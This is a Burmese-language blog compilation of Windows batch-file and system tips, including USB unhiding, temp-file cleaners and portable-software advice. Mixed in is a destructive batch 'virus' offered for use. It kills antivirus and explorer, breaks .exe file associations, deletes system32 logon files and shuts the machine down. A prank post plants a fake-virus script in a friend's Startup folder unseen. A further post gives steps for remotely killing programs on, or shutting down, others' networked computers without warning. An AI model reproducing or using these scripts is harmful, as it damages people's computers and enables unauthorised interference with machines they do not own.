ဒီ bat file ကိုအထက္ပါ drive မ်ားမွာ window တင္ထားရင္မသံုးသင့္ပါ

သူငယ္ခ်င္းတို႕ရဲ႕ memory stick ေလးဗိုင္းရပ္ကိုကိုက္လို႕ပဲျဖစ္ျဖစ္အေျကာငး္အမ်ိုးအမ်ိဴးေျကာင့္ေျပာက္ေနလ်ွင္ျပန္ေဖာ္ဖို႕ပါ
အရင္ဆံုး window key+R နိပ္ပီး run box ေခါၚပါ
notepad လို႕ရီုက္ထည့္ပါ
notepad က် လာရင္ေအာက္ဆံုးကcode ေတြကို ကူးထည့္ပါ
(notepad ထဲတြင္ပံုပါအတိုင္း code မ်ားစနစ္က်မွ ဒီprogram အလုပ္လုပ္မွာပါ)
file >save as>name မွာ unhide.bat လို႕ေပးပါ
desktop မွာပဲsave လိုက္ပါ
ျပီးရင္အဲ့ဖိုင္ေလးကို double clickေပးျပီး run လိုက္ပါ

Y လို႕ရိုက္ျပီးအန္းတားေခါက္လိုက္ပါ
၁၀စကၠန့္ေလာက္ျကာရင္ျပီးစီးေျကာင္း message က်ျပီးက်ေတာ့blog ေလးပြင့္သြားပါမယ္::)
ေခါင္းစဥ္မွာပါတဲ့ Drive ထဲကေျပာက္ေနသမွ်ဖိုင္ေတြအကုန္ေပၚမွာပါ

ဒီprogram ေလးထဲကထြက္ခ်င္ရင္ e ကိုနိပ္ျပီးအန္းတားေခါက္လိုက္ပါ
အားလံုးပဲအဆင္ေျပပါေစခင္ဗ်ာ.

@echo off
:Ma
title Unhidden Program (Yat Sauk Tar Lay)
echo Unhide all data from USB Stick(Yat Sauk Tar Lay)
echo ================================
echo.
echo.
echo.
color 0a
echo Please Type Y ,if you unhide Data in Drive D,E,F,G,H,I .
echo.
echo.

echo Close this program type E and press enter.
set /p YST=Type:
if '%YST%'=='Y' goto :YST
if '%YST%'=='N' goto :N
:N
attrib -r -h -s /s /D /L D:\*.*
if '%YST%'=='E' exit

:YST
attrib -r -h -s /s /d /L D:\*.*
attrib -r -h -s /s /d /L F:\*.*
attrib -r -h -s /s /d /L G:\*.*
attrib -r -h -s /s /d /L H:\*.*
attrib -r -h -s /s /d /L I:\*.*
msg * Your Data are Unhide.Thank for using this.
start http://yatsauktarlay.blogspot.com/?m=1
goto :Ma

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

ဗိုင္းရပ္စ္ တစ္ေကာင္ျပဳလုပ္ျခင္း



ညီ မေမွ်ာ္လင္ ့ပဲေတြ ့ခဲ ့တဲ ့နည္းေလးပါ..အလြယ္ကူဆံုး ဗိုင္းရပ္စ္ တစ္ေကာင္ျပဳလုပ္လို ့ရပါသည္..
လုပ္နည္းေလးက ေတာ ့ ႏုတ္ပတ္ နဲ ့ျပဳလုပ္ရ မွာ ျဖစ္ပါသည္..
ေအာက္ပါကုတ္ေလး ကို ကူးျပီး ႏုတ္ပတ္ ထဲ ကို ထည္ ့လိုက္ ပါ..
title Hack Setup
color 0A
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked....
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

ထိုေနာက္ ႏုတ္ပတ္ေလးကို ေစ ့အပ္ လုပ္ရမည္..
ဖိုင္နာမည္ ေနရာမွာ ၾကိဳက္ရာေရြးျပီး အစက္ခ်ျပီး bat ဒါမွ မဟုတ္ exe ေရးျပီး ေစ ့လိုက္ပါ..
ဒါဆို ဗိုင္းရပ္စ္ တစ္ေကာင္ရပါျပီး..
အထူးသတိေပးခ်င္တာ ကေတာ့ .. စမ္းခ်င္တယ္ဆိုရင္ေတာ ့ ကိုယ္တိုင္ ၀င္းဒိုးတင္ႏူိင္တယ္ဆိုမွ
စမ္းေစခ်င္တယ္..ညီ စမ္းတုန္းက ေတာ့ ၀င္းဒိုးျပန္တင္လိုက္ရတယ္..
အိုေက..ဗ်ာhttp://sun-itgarden.blogspot.com/

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Notepad ေလးေတြနဲ႔ ဖိုင္ရွင္းနည္း


ကၽြန္ေတာ္ဒီ Post ေလးကိုမသိေသးတဲ႔သူေတြအတြက္ရည္ရြယ္ၿပီးတင္ေပးလိုက္ပါတယ္။သိၿပီးသားသူေတြ
ကေတာ႔သည္းခံေပးပါခင္ဗ်ာ။Run ကေနဝင္ၿပီးဖ်က္ေနရတဲ႔ prefetch,temp နဲ႔ recent ေတြကိုတစ္ခါတည္း
နဲ႔ Desktop ေပၚမွာ notepad  ေလးနဲ႔ .bat ဖိုင္ေလးလုပ္ၿပီး ရွင္းလို႔ရေအာင္ျဖစ္ပါတယ္။

ေအာက္ကစာေလးေတြကို notepad ထဲမွာ ကူးထည္႔ေပးၿပီး .bat ဆိုတဲ႔ name နဲ႔ save ေပးလိုက္ရင္ရပါၿပီ။

@echo off
del /s /f /q c:\windows\temp\*.*
rd /s /q c:\windows\temp
md c:\windows\temp
del /s /f /q C:\WINDOWS\Prefetch
del /s /f /q %temp%\*.*
rd /s /q %temp%
md %temp%
deltree /y c:\windows\tempor~1
deltree /y c:\windows\temp
deltree /y c:\windows\tmp
deltree /y c:\windows\ff*.tmp
deltree /y c:\windows\history
deltree /y c:\windows\cookies
deltree /y c:\windows\recent
deltree /y c:\windows\spool\printers
del c:\WIN386.SWP
cls


ေနာက္တစ္ခုက Autorun,Recycle နဲ႔ Rundill32 စတဲ႔ Autorun .exe ေတြကိုသတ္ေပးႏုိင္တဲ႔ တစ္ခုပါ။
အခုစာေလးကိုလည္း notepad ေလးထဲကူးထည္႔ေပးၿပီး .bat ဖိုင္ name ေလးနဲ႔ပဲ Save ေပးလိုက္ပါ။

del:E:\Autorun.inf,del:F:\Autorun.inf,del:G:\Autorun.inf,del:H:\Autorun.inf,
del:E:\Recycled.exe,del:F:\Recycled.exe,del:G:\Recycled.exe,del:H:\Recycled.exe,
del:E:\RUNDILL32.exe,del:F:\RUNDILL32.exe,del:G:\RUNDILL32.exe,del:H:\RUNDILL32.exe,


ေနာက္ထပ္တစ္ခုက Clear Private Cam Virus အတြက္ပါ။အရင္ပံုစံေတြအတုိင္းပဲ notepad ထဲကိုကူးထည္႔
ၿပီး save ေပးလိုက္ပါ။

taskkill /F /IM chrome.exe
taskkill /F /IM privateCam_v0.1.exe
attrib -S -H -R C:\windows\system32\chrome.exe
del C:\windows\system32\chrome.exe
REG Delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /f
REG Delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /f
REG Delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NofolderOptions /f
REG Delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Yahoo Messengger" /f
REG Delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Yahoo! pager" /f
gpupdate



ကၽြန္ေတာ္ဒီကုဒ္ေလးေတြကို Notepad ေလးနဲ႔ Save ျပီး Bat File ေလးနဲ႔ရလာတဲ့အထိပံုေလးေတြနဲ႔ေအာက္
မွာရွင္းျပေပးထားပါတယ္..။












အေပၚကပံုေလးအတိုင္း  Bat File ေလးနဲ႔ရလာျပီဆိုရင္အရင္ဆံုးပံုမွန္ရွင္းေနၾက  %Temp% , Prefetch တို႔
ကို Run Box မွာရိုက္ထည့္ျပီးမလိုတဲ့ဖိုင္ေတြဘယ္ေလာက္ရွိလဲဆိုၾကည့္ၾကည့္လိုက္ပါ..။Delete မလုပ္ပစ္
ပါနဲ႔အံုး..။ျပီးရင္ေတာ့ေစာေစာက Save ထားတဲ႔ဖိုင္ေလးကို Double Click ႏွစ္ခါေလာက္ဆက္တိုက္ေပးလိုက္
ယံုပါပဲ..။ဒါဆိုရင္အရင္တုန္းကလို % Temp%  တို႔ Prefetch တို႔ကို Run Box မွာရိုက္ထည့္လိုက္ျပီးရင္ Ctrl A
ေပး Shift Delete လုပ္ေနစရာမလိုေတာ့ပဲ Double Click ေလးေပးလိုက္ယံုနဲ႔ပဲမလိုတဲ့ဖိုင္ေတြအကုန္လံုးကို
ရွင္းျပီးသားျဖစ္သြားပါလိမ့္မယ္...။ Computer ေနရာမွာမိမိတို႔ၾကိဳက္တဲ့နာမည္ေပးႏိုင္ပါတယ္..။ဒါေပမယ့္
Save တဲ့ေနရာမွာေတာ့ .bat နဲ႕  SAVE ေပးဖို႔ေတာ့လိုပါတယ္..။
မူရင္း.. ေနမင္းေမာင္ မွ
အဆင္ေျပၾကပါေစ ဆႏၵမ်ားစြာျဖင္ ့ဘေလာ့ဂါ ညီသူ

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

ကြန္ပ်ဴတာ မွာ ရုတ္တရက္ Explorer ေပ်ာက္သြားရင္ ဘယ္လိုျပန္ေခၚမလဲ


ဒီတစ္နည္းလဲ မိုက္တယ္   တစ္ခါတေလ ကြန္ျပဴတာမွာ သံုးေနရင္းကေန  Desktop ေပၚက Icon ေတြေပ်ာက္သြားျပီးေတာ့ ဘာလုပ္လို့ဘာကိုင္ရမွန္းမသိဘူးျဖစ္ေနတတ္တယ္ အဲ့ဒါ explorer ေပ်ာက္သြားတာေလ ျပန္ေခၚမယ္ ဘယ္ကေနေခၚမလဲ စဥ္းစားစရာက ဒါေလးမ်ား ဗမာေဆးစားေပ်ာက္တယ္ ေဟာ့မွာၾကည့္ အေပၚမွာျမင္ေနရတဲ့ ေကာင္ေလးေရာက္လာဖို့ ...
{၁} ကီးဘုတ္က Ctrl+Shift+Esc ကို တစ္ျပိဳင္နက္တြဲႏွိပ္လိုက္ ဒါမွမဟုတ္ရင္ Ctrl+Alt+Del ႏွိပ္လဲရတယ္ ကဲဘယ္လိုလဲ Window Task Manager ပြင့္လာျပီမဟုတ္ေလာ့ New Task ကိုသြားလုိက္ပါ Create New Task Box မွာ explorer လို႔ေရးျပီးေတာ့ OK ႏွိပ္ခ်င္ႏွိပ္ ဆရာၾကီးဆိုရင္ေတာ့  Enter ေခါက္ခ်လိုက္ပါ ဒါဆို အကုန္ျပန္ေပၚလာပါျပီ... All The Best...!

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Virusအတုျပဳလုပ္နည္း



သူငယ္ခ်င္းအားလံုးမဂၤလာပါ။သူငယ္ခ်င္းတို႕ပ်င္းေနျပီလား။သူငယ္ခ်င္းတို႔ကိုေပ်ာ္စရာေလးတခုေပးမယ္ေနာ္:p
Virusအတုျပုဳပလုပ္ ရ ေအာင္ေနာ္...ဟီးဟီး...သူမ်ားေတြကအစစ္က်ေနာ္က ေတာ့အတု။ဆန္းဆန္းျပားျပားေလး
ေပါ့ဗ်ာ..ဟဲဟဲ...ကဲပထမဆံုးေအာက္ကကုတ္ေတြကိုNotepadေပၚမွာကူးထည့္လိုက္ပါဗ်ာ။

LOL=msgbox(``The virus have beeb detecten!Press YES to format your hard disc now,or
Press NO to format your hard disc after the system reboot'',20,''Yat Sauk Tarlay'')

ေရးျပီးျပီဆိုရင္ ေတာ့virus.VBS နဲ႔saveလိုက္ပါ။ဒါေလးကိုstickထဲcopyလုပ္ျပီးစခ်င္ တဲ့သူငယ္ခ်င္းစက္ထဲ
ကိုstart>All programs>startupထဲကိုမသိမသာေလးထည့္လိုက္ ပါ။သူငယ္ခ်င္း သူ႔စက္ စဖြင့္ တဲ့အခါ
Warningဆိုျပီးစာသားေလးတက္ လာပါလိမ့္မယ္။ဒါဆိုသူငယ္ခ်င္း လန္႕ျဖန္႕သြားပါလိမ့္မယ္:p
မွတ္ခ်က္။တကယ့္Virusမဟုတ္တဲ့့အတြက္မည္သည့္Virusprogramႏဲ့စစ္စစ္ရွာေတြ႔မည္မဟုတ္ပါ။
ကြန္ပ်ဴတာကိုလဲထိခိုက္မုွမရွိပါ။ျပန္ျဖဳတ္ခ်င္ရင္ေတာ့ခုနကထည့္ခဲ့တဲ့ဖိုင္ထဲက.VBSဖိုင္ ေလးကိုျပန္ျပီး
deleteလုပ္လိုက္ ရုံပါဘဲခင္ဗ်ာ။

ရပ္ေစာက္သား

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

computerထဲကအမွိုက္ေတြကိုdouble clickေလးေပးၿပီးရွင္းမယ္


±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
ကြန္ပ်ဴတာကမလိုအပ္တဲ့ဖိုင္ေတြကိုအကုန္ရွင္းဖို႔programေလးေပါ

ေအာက္မွာကုတ္၂မ်ိဳးေပးထားပါတယ္ႀကိဳက္တဲ့တစ္ခုကိုကူးၿပီးnotepadထဲထည့္လိုက္ပါ
ctrl+s >file nameမွာcleaner.batလို႔ေရးေပးပါ
desktopေပၚမွာပဲsaveေပးလိုက္ပါ
ၿပီးရင္double click ေလးေပးလိုက္ပါ
အဆိုရင္အိုေကပါၿပီခင္ဗ်ာ
အဆင္မေျပရင္ေအာက္မွာမန္႔ခဲ့ေနာ္
သိရင္လည္း၁ခါတည္း၀င္ေျဖေပးသြားးခ္ခ္

Code:
@ECHO off

color DE

title Yat Sauk Tarlay

SET T1= Done By myothantkyaw

DEL %systemroot%\prefetch\ /Q /S

DEL "%USERPROFILE%\Local Settings\Temporary Internet Files" /Q /S /F

DEL "%USERPROFILE%\Local Settings\Temp" /Q /S /F

DEL "%USERPROFILE%\Local Settings\Historique" /Q /S /F

DEL "%USERPROFILE%\RECENT" /Q /S /F

DEL "%USERPROFILE%\Cookies" /Q /S /F

Echo ******* *******
Echo ****** ******
Echo ***** *****
Echo **** Finished ****
Echo ***** *****
Echo ****** ******
Echo ******* *******

Pause


×××××××××××××××××××××××××××××××××××××××××××
ေအာက္ကကုတ္ေလးကအင္တာနက္သံုးၿပီးရွင္းေပးရင္ cookiesေတြပါရွင္းေပးမွာပါ
×××××××××××××××××××××××××××××××××××××××××××
Code:
@echo off
del /s /f /q c:\windows\temp\*.*
rd /s /q c:\windows\temp
md c:\windows\temp
del /s /f /q C:\WINDOWS\Prefetch
del /s /f /q %temp%\*.*
rd /s /q %temp%
md %temp%
deltree /y c:\windows\tempor~1
deltree /y c:\windows\temp
deltree /y c:\windows\tmp
deltree /y c:\windows\ff*.tmp
deltree /y c:\windows\history
deltree /y c:\windows\cookies
deltree /y c:\windows\recent
deltree /y c:\windows\spool\printers
deltree /y c:\windows\prefetch
del c:\WIN386.SWP
cls
msg* Thank you.Tawwinminntharlay `°•°´
 

  ရပ္ေစာက္သားေဖးစ္ဘုတ္စာမ်က္ႏွာမွ ကူးယူတင္ျပပါသည္

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

ကိုယ္ေဆာက္ထားတဲ့ အေရးႀကီးတဲ့ Folder ကို တျခားလူ ဖြင့္ၾကည့္လို.မရ၊ Delete လုပ္လို.မရေအာင္လုပ္ထားမယ္။

ပထမဦးဆံုး ကိုယ္လုပ္မယ့္ ဖိုဒါက NTFS နဲ.ပိုင္းထားတဲ့ Partation ေပၚမွာရွိရပါမယ္။ ၿပီးရင္ My Computer ကိုဖြင့္။ Menu Bar က View Tab ကို ၀င္ပါ။ ဟိုးေအာက္ဆံုးစာေၾကာင္း Use sinple file sharing ( Recommended ) ဆိုတဲ့ ခ်က္ေဘာက္ေလးကို အမွန္ျခစ္ ျဖဳတ္ေပးထားရပါမယ္။ ၿပီးရင္ OK နဲ.ထြက္။ ကဲစမယ္ ကိုယ္ရဲ့အေရးႀကီးတဲ့ ဖိုဒါေပၚမွာ ညာဘက္ကလစ္နွိပ္ ။ Sharing and Security ဆိုတာကို၀င္။ Security ဆိုတဲ့ Tab မွာ Advance ကို ကလစ္နွိပ္။ ၿပီးရင္ ေအာက္နားက Inherit from parent the permission entries that apply to child objects. Include these with explicitly defined here ဆိုတဲ့ ေနရာမွာ အမွန္ျခစ္ေလး ျဖဳတ္ေပးရပါမယ္။ ၿပီးရင္ Remove လို.ေျပာ။ Apply ၊ OK ၊ OK ေပါ့။ ဒါဆို ကိုလုပ္ထားတဲ့ ဖိုဒါကို ဘယ္သူမွ ဖြင့္လို.လဲရမွာ မဟုတ္သလို Delete လဲလုပ္လို.ရမွာ မဟုတ္ေတာ့ပါဘူး။

ကိုယ္က ျပန္ဖြင့္ခ်င္တယ္ ဆိုရင္ေတာ့ အဲဒီဖိုဒါေပၚမွာ ညာဘက္ကလစ္ျပန္နွိပ္ sharing and security ကို၀င္ ၿပီးရင္ Owner ဆိုတဲ့ Tab ကို သြားပါ။ Administrator ေပၚမွာ select မွက္္ၿပီး Reblace owner in subcontainers and objects ဆိုတဲ့ စာေၾကာင္းမွာ အမွန္ျခစ္ေလး ျပန္ထည့္ေပးရပါမယ္။ ၿပီးရင္ေတာ့ OK ေပါ့။ ဒါဆိုရင္ေတာ့ ျပန္၀င္လို.ရပါၿပီ။

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

NetWorkမွအျခားကြန္ပ်ဴတာကိုထိန္းမယ္


တျခားကြန္ပ်ဴတာမွာအသံုးျပဳေနတဲ့ program ကို ပိတ္ပစ္မယ္ဗ်ာ
=========================================================
အကယ္၍ ကိုယ့္ေဘးနားမွာ အာက်ယ္အာက်ယ္နဲ႕ Gtalk ကို ၇အိမ္ၾကား ၈အိမ္ၾကား ေျပာေနသူေတြရဲ႕ Gtalk ကိုလွန္းပိတ္ပစ္မယ္ဗ်ာ နားညီးတယ္ စိတ္ဒုကၡေရာက္တယ္ ကဲစလိုက္ၾကရေအာင္
၁။ ပထမဆံုး Command Prompt ထဲ ၀င္လုိက္ပါ။ Start >> Run >> cmd ႏွိပ္ပီး enter ကိုႏွိပ္လိုက္ပါ ၿပီးေတာ့ သူ႔ကြန္ပ်ဴတာကို ရွာလိုက္ပါမယ္ နက္ဆိုင္ေတာ္ေတာ္မ်ားမ်ားကေတာ့ စက္နံပါတ္နဲ႕ Computer name ကိုတူတူထားတာမ်ားပါတယ္ net view ကိုရိုက္ထည့္လိုက္ပါမယ္ လွမ္းထိန္းလို႔ရတဲ့ ကြန္ပ်ဴတာေတြ ေပၚလာပါလိမ့္မယ္ ဥပမာ computer3 ေပါ့ နံပါတ္ 3 စက္လို႔ ယူဆလုိက္ပါမယ္ သူ႔ကြန္ပ်ဴတာမွာ run ေနတဲ့ Program list ကိုၾကည့္ႏိုင္ဖို႔ tasklist/s computername လို႔ရိုက္ထည့္ပါ computername မွာလုပ္ျခင္တဲ့ ကြန္ပ်ဴတာရဲ႕ နာမည္ကိုရိုက္ထည့္ရပါမယ္ ဒါဆိုရင္ သူ႔ကြန္ပ်ဴတာမွာ အသံုးျပဳေနတဲ့ Program list ေတြက်လာပါလိမ့္မယ္ လွမ္းပိတ္ဖို႔အတြက္ taskkill/s computername /im programname ကိုရိုက္ထည့္ပါ computername ေနရာမွာေတာ့ ပိတ္ပစ္မယ့္ကြန္ပ်ဴတာရဲ႕နာမည္ကို ထည့္ပါ programname ေနရာမွာေတာ့ ကိုယ္ပိတ္ျခင္တဲ့ program name ကိုရိုက္ထည့္ပါ ဥပမာ googletalk.exe ေပါ့ဗ်ာ အလြယ္တစ္ခုအေနနဲ႕ေရးျပမယ္ေနာ္
1 . cmd
2 . net view
3. tasklist/s computer name
4. taskkill/s computer name /im program name
အဲ့ဒါအလြယ္မွတ္နည္းေပါ့ဗ်ာ

တျခားကြန္ပ်ဴတာကို ပိတ္ပစ္မယ္ဗ်ာ
=======================
အရင္ဆံုး cmd ကိုဖြင့္လိုက္ပါ ပီးေတာ့ net view ကိုႏွိပ္လိုက္ပါ ၿပီးေတာ့ ကိုယ္ပိတ္ပစ္ျခင္တဲ့ ကြန္ပ်ဴတာရဲ႕ နာမည္ကိုမွတ္လိုက္ပါ ပီးေတာ့ shutdown -i ကိုရိုက္ထည့္လိုက္ပါ box ေလးတစ္ခု က်လာပါလိမ့္မယ္
Add ကိုႏွိပ္လိုက္ပါ ပိတ္ျခင္တဲ့ကြန္ပ်ဴတာရဲ႕ နာမည္ကိုရိုက္ထည့္လိုက္ပါ ဥပမာ computer 7 ေပါ့ဗ်ာ
ပီးေတာ့ေအာက္နားေလးမွာ ဘာလုပ္မလည္း restart လုပ္ပစ္မလား shutdown လုပ္ပစ္မလား ေရႊးလိုက္ပါ Warn users of the action ကိုအမွန္ျခစ္ေပးၿပီး ေအာက္နားမွာ shutdown ခ်မယ္ seconds ကိုသပ္မွတ္ေပးလုိ႔ရပါတယ္ ဒါေပမယ့္ အဲ့လိုလုပ္လိုက္ရင္ လူသိမွာေပါ့ဗ်ာ ဒါေၾကာင့္ warn users of the action ကို အမွန္ျခစ္ျဖဳတ္ပစ္လိုက္ပါ ေအာက္နားေလးမွာ Opction ေအာက္နာေလးမွာ တစ္ခုခုကိုေရႊးလိုက္ပါ ပီးေတာ့ OK ကိုႏွိပ္လိုက္ပါ ခဏၾကာေစာင့္ၾကည့္လိုက္ပါ မက်ဘူးဆိုရင္ေတာ့ ေနာက္တစ္ခုကို ထပ္ေရႊးေပါ့ဗ်ာ Comment ဆိုတာေလးကို လည္း ေတြ႔မွာပါ အဲ့နားေလးမွာ I Hack Your Computer Now . Your Computer Will Be Shutdown After 10 Second . So Sorry . အဲ့လိုခ်ိန္းေျခာက္စာေလးေရးၿပီးေတာ့ အေပၚက Shutdown Time ကို 10 Second ေပးလုိက္ေပါ့ဗ်ာ
အတိုမွတ္နည္းေလးပါ
cmd >> shutdown -i >> Add >> Computer name >> OK

ေနာက္တစ္နည္းရွိပါေသးတယ္ သူမ်ားကြန္ပ်ဴတာကို ပိတ္တဲ့နည္း
=========================================
c:\>runas /netonly /user name\administrator "shutdown /s /m \\computername /t 00
ကုတ္ကို copy ကူးယူလိုက္ပါ ၿပိးေတာ့ note pad ကိုဖြင့္လိုက္ပါ note pad ထဲမ်ာ pased ၿပီးေတာ့
user name ေနရာမွာ ကိုယ့္ရဲ႕ computer name ကုိထည့္ေပးပါ ၿပီးေတာ့ computername ေနရာမွာ Shutdown ခ်မယ္ Computer name ကိုထည့္ေပးပါ ပီးေတာ့ t 00 ေနရာမွာ Shutdown က်မယ္ အခ်ိန္ကို သတ္မွတ္ေပးရမွာပါ ခ်က္ျခင္းက်ေစျခင္ေတာ့ 00 လုိ႔ထားပါတယ္ ပီးေတာ့
File ေအာက္နားက Save As ကိုေရႊးလိုက္ပါ name ေနရာမွာ Shutdown.bat လုိ႔ေရးပီး Save လိုက္ပါ .bat ဖိုင္ေလး တစ္ဖိုင္က်လာပါလိ့မ္မယ္ အဲ့ဒါေလးကို Double Click ႏွိပ္လိုက္ပါ

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Protable Software တစ္ခ်ိဳ႕ Double Click နဲ့ ဖြင့္မရဘူးလား

အေပၚမွာ ျပထားတဲ့ အတိုင္းပဲေနာ္ ကြန္ျပဴတာမွာ တစ္ခ်ိဳ  Protable လုပ္ထားတဲ့ Software ေတြဆိုရင္
 ရိုးရိုး Double Click နဲ့ Run လို့မရဘူးဗ် အဲလို ပရိုဂရမ္ေတြကို Right Click ေထာက္ျပီးေတာ့
 Run as Administrator နဲ႔ ဖြင့္မွ ရတယ္ဆိုတာေလးကိုသတိျပဳၾကရပါမယ္ (ဥပမာ Adobe Photoshop CS-5 Portable)လိုမ်ိဳးေပါ့တစ္ခ်ိဳဆိုရင္ အခ်ိန္ေတြ အကုန္ခံျပီးေတာ့
Download ေတြလုပ္ထားရတယ္ ျပီးလဲျပီးေတာ့ ဖြင့္ၾကည့္လိုက္တယ္ မရဘူးျဖစ္ေနေရာ
ဒီေတာ့  မရဘူးဆိုျပီးေတာ့ ဖ်က္ပစ္လိုက္ၾကတာေတြ အမ်ားၾကီးေတြ႔ေနရပါတယ္ Window 7 မွာဆိုရင္
တစ္ခ်ိဳ႔ Software ေတြ Install လုပ္လိုမရဘူး ရတဲ့နည္းကို မရွာတတ္ဘူးျဖစ္ေနတယ္..ရတဲ့
နည္းလမ္းေလးက်ေနာ္ေျပာျပပါမယ္ install မလုပ္ခင္ အဲဒီ Software ေပၚမွာ Right Click ေထာက္လိုက္ပါ
ေအာက္ဆံုးက Properties ကိုေရြးလိုက္ပါ က်လာတဲ့ Properties Box မွာ Compatibilty ကိုေရြးပါ
 run This program in compatibilty mode for မွာ အမွန္ျခစ္ကေလး ျခစ္လိုက္ပါ အဲဒီမွာ windows XP (Service Pack 3) Or
 windows XP (Service Pack 2) တစ္ခုခုေရြးျပီး apply ႏွိပ္ပါ  OK ႏွိပ္ပါ ျပီးရင္ Install လုပ္ၾကည့္လိုက္ပါ ကဲ..ဘယ္လိုလဲ အိုေကသြားျပီလား
ဒီပို့စ္ကေတာ့ အဲလိုမဟုတ္ျပန္ဘူးဗ် Protable လုပ္ထားတဲ့ software တစ္ခ်ိဳ႕ Run as Administrator နဲ့ ခနခနဖြင့္ေနရလို့ ေနာက္ခါအဲလိုလုပ္မေနရေအာင္
လုပ္ထားတဲ့နည္းေလးကိုရည္ရြယ္ျပီးတင္ေပးလိုက္တာပါ  ပံုကေလးၿပည့္ျပီးလုပ္ခ်င္တယ္ဆိုရင္ ျပီးတာပါဘဲ တစ္ခ်ိဳ႕က ပံုမၾကည့္ခ်င္ဘူး
စာဘဲၾကည့္ခ်င္တဲ့သူေတြလဲရွိေနေတာ့ လုပ္နည္းကိုေအာက္ပါအတိုင္းၾကည့္လိုက္ၾကပါ ကဲ..စျပီဗ်ာ 
အရင္ဆံုး ကိုယ္လုပ္မည့္ Protable Software ေပၚမွာ Right Click ေထာက္လိုက္ပါ ေအာက္ဆံုးက Properties ကိုေရြးလိုက္ပါ က်လာတဲ့ Properties Box မွာ Compatibilty ကိုေရြးပါ
Privilege Level မွာ ေအာက္က run This program in Administrator ဆိုတဲ့ေနရာမွာ အမွန္ျခစ္ကေလးျခစ္ေပးလိုက္ပါ ျပီးရင္ Apply လုပ္ပါ OK လုပ္ပါ ဒါဆိုရင္
အဆင္ေျပသြားပါျပီဘာရယ္ေတာ့မဟုတ္ပါဘူး အိပ္မေပ်ာ္လို့ ေကာက္ေရးလိုက္တာ ဆရာလုပ္တာဟုတ္ဘူးေနာ္ မသိေသးတဲ့သူေတြအတြက္ရည္ရြယ္ျပီး တင္ျပလိုက္တာပါဗ်  
 အားလံုးအဆင္ေျပၾကပါေစဗ်ာ...၊

ေတာ္၀င္မင္းသားေလး

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Software ေတြကို Install လုပ္စရာမလိုဘဲ သံုးလို ့ရေစမယ့္ Zero Install


ashampoo 01
Software ေတြကို အင္စေတာလုပ္စရာမလိုဘဲ အသံုးျပဳလို ့ရတဲ့နည္းေတြ ရွိပါတယ္။

အခု ေနာက္နည္းတစ္ခု က Zero Install ကို အသံုးျပဳၿပီး သြားေလရာေနရာမွာ Software ေတြကိုအင္စေတာမလုပ္ဘဲနဲ  ့သယ္ေဆာင္အသံုးျပဳႏုိင္မွာပါ။

Zero Install အလုပ္လုပ္ပံုက ပထမဆံုး Softwares ေတြ ရဲ  ့ Caches ဖုိင္ေတြကို ေဒါင္းလုပ္လုပ္ၿပီးအဲဒီေဆာ့၀ဲကို အင္စေတာမလုပ္ဘဲအသံုးျပဳႏုိင္တာျဖစ္ပါတယ္။

တစ္နည္းေျပာရရင္ ေဆာ့၀ဲေတြကို ၀က္ဆိုက္ကေန တိုက္ရိုက္အသံုးျပဳတာျဖစ္ပါတယ္။

Zero Install က Portable Version လည္းရွိၿပီးသြားေလရာယူဆာင္သြားၿပီး ေဆာ့၀ဲေတြကို အသံုးျပဳႏုိင္ပါတယ္။

ေဆာ့၀ဲေတြကို အင္စေတာလုပ္စရာမလိုဘဲသံုးႏုိင္တဲ့အတြက္ သင့္ System ကို သန္ ့ရွင္းေစၿပီး Performance ကိုေကာင္းမြန္ေစမွာပါ။

Zero Install ကိုအသံုးျပဳျခင္း။

Zero Install ကို Run ၿပီးရင္ Catalog tab မွာ အသံုးျပဳႏုိင္မယ့္ ေဆာ့၀ဲေတြကို ေတြ ့ျမင္ႏုိင္ၿပီးသံုးခ်င္တဲ့ ေဆာ့၀ဲရဲ  ့Run button ကိုႏွိပ္ေပးပါ။

Caches ဖိုင္ေတြကိုေဒါင္းလုပ္လုပ္ၿပီးတာနဲ ့ ေဆာ့၀ဲကို အသံုးျပဳလို ့ရပါၿပီ။ပထမဆံုးတစ္ခါပဲေဒါင္းလုပ္လုပ္စရာလို ပါတယ္။
+ button ကိုႏွိပ္ၿပီး My applications ထဲထည့္ႏို္င္ပါတယ္။
ashampoo 02
My applications tab မွာထည့္ထားတဲ့ေဆာ့၀ဲေတြရဲ  ့့Shortcut ေတြျပဳလုပ္ဖုိ ့ Modify application button ကိုႏွိပ္ပါ။
Start Menu , Desktop မွာ Shortcut ေတြ ထည့္ေပးပါလိမ့္မယ္။
Zero Install Cloud Server ကိုအသံုးျပဳၿပီးေဆာ့၀ဲေတြကို Sync လုပ္ႏိုင္ပါတယ္။
ashampoo 03
VirtualBox  ,  Sandboxie  တို ့ကို အသံုးျပဳၿပီးေဆာ့၀ဲေတြကို အင္စေတာလုပ္စရာမလို ဘဲအသံုးျပဳႏုိင္ပါတယ္။
